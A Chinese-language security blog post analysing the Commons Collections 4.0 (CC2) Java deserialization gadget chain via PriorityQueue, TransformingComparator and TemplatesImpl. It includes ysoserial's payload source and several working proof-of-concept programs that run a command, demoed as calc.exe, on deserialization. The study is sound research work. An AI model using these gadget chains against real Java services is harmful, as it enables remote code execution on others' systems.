Java安全之Commons Collections2分析
2022-04-28 21:49:24 # Java安全

前言

之前分析了cc1的利用链,但是cc1的利用链是有JDK版本限制的。在JDK8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写,导致高版本中利用链无法使用,这在上文中分析过了。

cc2链中使用的是commons-collections-4.0版本,利用链如下

1
2
3
4
5
6
7
8
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

这里cc2链使用commons-collections-4.0版本的原因是,在3.2.1版本以下TransformingComparator并没有去实现Serializable接口,也就是不可以被序列化的,所以在利用链上就不能使用它去构造。

3.2.1版本

image-20220428220626101

4,0版本

image-20220428220712646

在CC2链里不是利用 AnnotationInvocationHandler来构造,而是使用

javassistPriorityQueue来构造利用链,所以先来了解下PriorityQueue的基本使用。

PriorityQueue

概念

PriorityQueue 一个基于优先级的无界优先级队列。优先级队列的元素按照其自然顺序进行排序,或者根据构造队列时提供的 Comparator 进行排序,具体取决于所使用的构造方法。该队列不允许使用 null 元素也不允许插入不可比较的对象(没有实现Comparable接口的对象)。
PriorityQueue 队列的头指排序规则最小那个元素。如果多个元素都是最小值则随机选一个。
PriorityQueue 是一个无界队列,但是初始的容量(实际是一个Object[]),随着不断向优先级队列添加元素,其容量会自动扩容,无需指定容量增加策略的细节。

image-20220428221231819

构造方法

1
2
3
4
PriorityQueue()           
使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)
使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。

常见方法

1
2
3
4
5
6
7
8
9
10
11
add(E e)           			将指定的元素插入此优先级队列
clear() 从此优先级队列中移除所有元素。
comparator() 返回用来对此队列中的元素进行排序的比较器;如果此队列根据其元素的自然顺序进行排序,则返回 null
contains(Object o) 如果此队列包含指定的元素,则返回 true。
iterator() 返回在此队列中的元素上进行迭代的迭代器。
offer(E e) 将指定的元素插入此优先级队列
peek() 获取但不移除此队列的头;如果此队列为空,则返回 null。
poll() 获取并移除此队列的头,如果此队列为空,则返回 null。
remove(Object o) 从此队列中移除指定元素的单个实例(如果存在)。
size() 返回此 collection 中的元素数。
toArray() 返回一个包含此队列所有元素的数组。

代码实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class PriorityQueueTest {
public static void main(String[] args) {
PriorityQueue<String> q = new PriorityQueue<String>();
//入列
q.add("2");
q.add("1");
q.add("5");
q.add("3");
q.add("4");
//出列
System.out.println(q.poll()); //1
System.out.println(q.poll()); //2
System.out.println(q.poll()); //3
System.out.println(q.poll()); //4
System.out.println(q.poll()); //5
}
}

image-20220428221648204

观察打印结果, 入列:21534, 出列是12345, 也是说出列时做了相关判断,将最小的值返回。默认情况下PriorityQueue使用自然排序法,最小元素先出列。

TransformingComparator

TransformingComparator是一个修饰器,和CC1中的ChainedTransformer类似。

image-20220428221853556这个类有个compare()方法,会调用Transformer#transform()方法,根据前面的学习,猜测这里可能存在利用点,那具体该怎么利用呢,是否真的可以利用呢,下面开始分析。

TransformingComparator.compare()

org.apache.commons.collections4.comparators.TransformingComparator 类中提供了 compare() 方法,在该方法中对 this.transformer 调用了 transform() 方法,如果this.transformer可控,那么就可以利用该方法执行 ChainedTransformer.transform() 方法,并进入之前构造好的 java.lang.Runtime.getRuntime().exec() 调用链。

那现在查看下this.transformer是如何被赋值的。

TransformingComparator的构造方法中,看到了赋值情况,并且两个构造方法都是被public关键字修饰的

image-20220428222500043

也就是说,this.transformer 完全可控,我们可以将 this.transformer 指向 ChainedTransformer 对象来执行 ChainedTransformer.transform() 方法。

测试代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
public class TransformingComparatorTest1 {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
transformingComparator.compare("test","test");
}
}

image-20220428222750807

成功弹出计算器,但是可以看到控制台报错了

image-20220428222855008

根据报错信息,可以大致推断应该是类型转换有问题,而且运行的时候是先弹出计算器,后报错的,所以在下面的代码处打上断点

image-20220428223102363

进入compare()方法

image-20220428223235001

这里的transformer被赋值为ChainedTransformer,然后调用trasnform()方法弹出计算器,所以我们重点就看函数的最后一行代码

image-20220428223451003

进入,在方法的注释中可以看到异常的信息说明,大致就是如果传入的参数不实现Comparable可就会产生这个报错。

image-20220428223652822

在这也看到,使用了泛型来约束传入的类型

image-20220428223811362

报错原因找到了之后,但上述的代码只是手动调用compare()方法弹出计算器,那现在如何使 TransformingComparator.compare() 方法自动调用呢?我们在 Java 内置的 PriorityQueue 类中找到了一条可行的路子。

PriorityQueue.readObject()

PriorityQueue 类的 readObject() 方法中调用了一个 heapify() 方法

image-20220428224041303

PriorityQueue.heapify()

跟进 heapify() 方法,发现其调用了 siftDown() 方法,这里存在一个for循环,要想进入循环需要满足i = (size >>> 1) - 1 >= 0,即 size >= 2,这里的size指的是队列中元素的个数。

image-20220428224138782

PriorityQueue.siftDown()

跟进 siftDown() 方法,发现如果 comparator 变量不为空,将调用 siftDownUsingComparator() 方法:

image-20220428224409958

PriorityQueue.siftDownUsingComparator()

跟进 siftDownUsingComparator() 方法,发现会调用 comparator#compare() 方法

image-20220428224545847

结合前面的compare()方法的利用,如果comparator可控的话,让它指向前文中构造的 TransformingComparator 对象,那么就可以执 TransformingComparator.compare() 方法了。那么,找一下comparator是怎么被赋值的。

查看 PriorityQueue 类的构造方法,其第 1 个参数用于指定队列的初始容量,第 2 个参数将赋值给 this.comparator,并且该构造方法对外开放,因此 comparator 变量完全可控

image-20220428230103189

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package cc2;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.util.PriorityQueue;

public class TransformingComparatorTest2 {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
// new Class[] {String.class, Class[].class},
new Class[] {String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)

};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
// transformingComparer.compare("test", "test");

PriorityQueue priorityQueue = new PriorityQueue(2, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(priorityQueue);
objectOutputStream.close();
byteArrayOutputStream.close();

ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
byteArrayInputStream.close();


}
}

运行之后,计算器弹出来了,但报错了

image-20220428232853231

根据前面的报错分析,在调用comparator.compare()后,提示 “java.lang.ProcessImpl cannot be cast to java.lang.Comparable”,因为类型不符而报错,和上面那个报错是一样的,但是根据调试发现,程序在反序列化之前就弹出计算器了,那看看是怎么个调用的过程,

在如下地方打下断点

image-20220428233554728

跟进add()方法,发现调用了offer()方法

image-20220428233637971

跟进发现在offer()方法里会有一些if判断,这里如果i!=0就会调用siftUp()方法,第一次调用add()方法时,这里的i=0,即你不会调用siftUp()方法,当第二次调用add()方法时,就会进入,i=1,就进入siftUp()方法

image-20220428233712788

跟进siftUp()方法

image-20220428234015319

这里判断comparator是否为空,如果为不空,就调用siftUpUsingComparator()方法,为空则调用siftUpComparable()方法,跟进siftUpUsingComparator()方法,这里会调用comparator#compare()方法,进而导致了计算器的弹出和报错的产生。

image-20220428234123995

我们返回,跟进siftUpComparable()方法,这里不会导致后续调用链的发生

image-20220428234310116

这里防止报错的关键是让comparatoradd()方法调用的时候为空,实例化 PriorityQueue 对象后再通过反射将 comparator 设为 TransformingComparator 对象。

所以,优化代码后,可构造如下poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
package cc2;

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.functors.ChainedTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class TransformingComparatorTest3 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
// 传入 java.lang.Runtime 类
new ConstantTransformer(Runtime.class),
// 反射调用 getMethod() 方法, 并通过 getMethod() 调用 getRuntime() 方法
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
// 反射调用 invoke() 方法, 并通过 invoke() 调用上一循环中返回的 Runtime.getRuntime() 方法
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
// 反射调用 exec() 方法
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc.exe"}
)
};

ChainedTransformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(queue, transformingComparator);

ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(queue);
out.close();
b1.close();

System.out.println(b1.toString());

ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}

在进行反序列化的过程中会报同样的错误,但是在报错前就成功执行命令并弹出了计算器

image-20220428235510084

整个 Gadget Chain 的调用过程如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

image-20220429000138216

Ysoserial 利用链分析

对于 Commons Collections 2 这条链,ysoserial 利用的是 TemplatesImpl 类来进行利用的,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
package ysoserial.payloads;

import java.util.PriorityQueue;
import java.util.Queue;

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/*
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/

@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({ "org.apache.commons:commons-collections4:4.0" })
@Authors({ Authors.FROHOFF })
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {

public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);

// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);

// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");

// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;

return queue;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections2.class, args);
}

}

下面分析下TemplatesImpl 是怎么利用的

TemplatesImpl.getTransletInstance()

函数中可以看到有一处newInstance()方法的调用

image-20220429001031837

在对类进行 newInstance() 实例化操作时,会首先执行类中的无参数构造方法或 static{} 静态块中的内容,下面为测试代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package cc2;

import java.io.IOException;

public class StaticTest {
public static void instance(Class className) throws InstantiationException, IllegalAccessException {
className.newInstance();
}
public static void main(String[] args) throws InstantiationException, IllegalAccessException {
instance(EvalClass.class);
}
}
class EvalClass{
// static{
// try {
// Runtime.getRuntime().exec("calc.exe");
// } catch (IOException e) {
// e.printStackTrace();
// }
// }
public EvalClass() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package cc2;

import java.io.IOException;

public class StaticTest {
public static void instance(Class className) throws InstantiationException, IllegalAccessException {
className.newInstance();

}

public static void main(String[] args) throws InstantiationException, IllegalAccessException {
instance(EvalClass.class);
}

}
class EvalClass{
// static{
// try {
// Runtime.getRuntime().exec("calc.exe");
// } catch (IOException e) {
// e.printStackTrace();
// }
// }
public EvalClass() {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}

结果如下

image-20220429001232664

可以看到_class[]为存放这Class类的数组,如果控制 _class[_transletIndex] 的值,使其指向我们精心构造的的类,那么,在执行newInstance() 实例化恶意类时,就会触发恶意代码执行

image-20220429001353107

TemplatesImpl.defineTransletClasses()

要想执行newInstance()方法,需要满足前面的条件,_name不为空

image-20220429001716751

在执行newInstance()方法前会进入 defineTransletClasses() 方法,进入

image-20220429002212264

在方法中,可以看到在414行代码处,会调用load.defineClass(),学过类加载的知识就知道这里时将 _bytecodes[i] 中的字节码转换成类,并且在下面的if语句中会对转换的类名进行了一个判断,判断父类的类名是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,满足的话就会将索引 i 赋给 _transletIndex,也就是说要想在下面调用newInstance()实例化恶意类,就需要满足我们这个恶意类继承AbstractTranslet。可以知道这里触发的关键在于_bytecodes的赋值,

image-20220429002816622

这里的思路是通过反射获取 _bytecodes,将恶意类的字节码添加到 _bytecodes 中作为一个元素,然后将字节码转换成类并添加到_class[]中,当调用 TemplatesImpl.getTransletInstance() 方法时,执行_class[_transletIndex].newInstance() 进行恶意类的实例化,从而执行恶意代码。

现在只需要找到调用getTransletInstance() 方法的地方

TemplatesImpl.newTransformer()

在当前类中搜索getTransletInstance(),发现在newTransformer()方法中会调用getTransletInstance()

image-20220429003326311

可以利用InvokerTransformer 类里的可控反射来调用getTransletInstance() 方法,即构造如下利用链

1
2
3
4
5
6
7
8
9
10
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance() -> newInstance()
Runtime.getRuntime().exec()

构造的poc如下,和ysoserial的poc差不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
package cc2;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.*;
import java.util.PriorityQueue;

public class TransformingComparatorTestExp {
public static void main(String[] args) throws Exception {
/* 设置通过 InvokerTransformer.transform() 调用 newTransformer() 方法 */
InvokerTransformer transformers = new InvokerTransformer(
"newTransformer",
new Class[0],
new Object[0]
);

TransformingComparator transformingComparator = new TransformingComparator(transformers);
PriorityQueue priorityQueue = new PriorityQueue(2);
priorityQueue.add(1);
priorityQueue.add(2);

Field comparator = priorityQueue.getClass().getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue, transformingComparator);

/*
* 通过 JAVAssist 创建一个名为 evilClass 的类,
* 在该类中添加一个 static{} 静态块,
* 并设置父类为 AbstractTranslet
*/
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
/* 将 evilClass 类转换成字节码 */
byte[] evilClassBytes = cc.toBytecode();
byte[][] evilByteCodes = new byte[][]{evilClassBytes};

/*
* 获取一个 TemplatesImpl 类的实例对象,
* 并通过反射将对象中的 _bytecodes 属性设为恶意类 evilClass 的字节码数组,
* 并保证 _name 属性的值不为 null
*/
TemplatesImpl templatesImpl = new TemplatesImpl();
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_bytecodes.setAccessible(true);
_name.setAccessible(true);
_name.set(templatesImpl, "test");
_bytecodes.set(templatesImpl, evilByteCodes);

/*
* 通过反射获取 PriorityQueue 对象中的 queue 数组,
* 并将准备好的 TemplatesImpl 对象添加到这个 queue 数组中,
* 以保证后续执行 InvokerTransformer.transform() 时成功调用 TemplatesImpl 对象中的 newTransformer() 方法
*/
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templatesImpl, 1});

ByteArrayOutputStream b1 = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(b1);
out.writeObject(priorityQueue);
out.close();
b1.close();

System.out.println(b1.toString());

ByteArrayInputStream b2 = new ByteArrayInputStream(b1.toByteArray());
ObjectInputStream in = new ObjectInputStream(b2);
in.readObject();
in.close();
b2.close();
}
}

运行结果如下

image-20220429003933584

调用链

image-20220429010903433

参考

https://mp.weixin.qq.com/s/7k4dlQ9pI1X0Smhcb-HOgA

https://www.cnblogs.com/nice0e3/p/13860621.html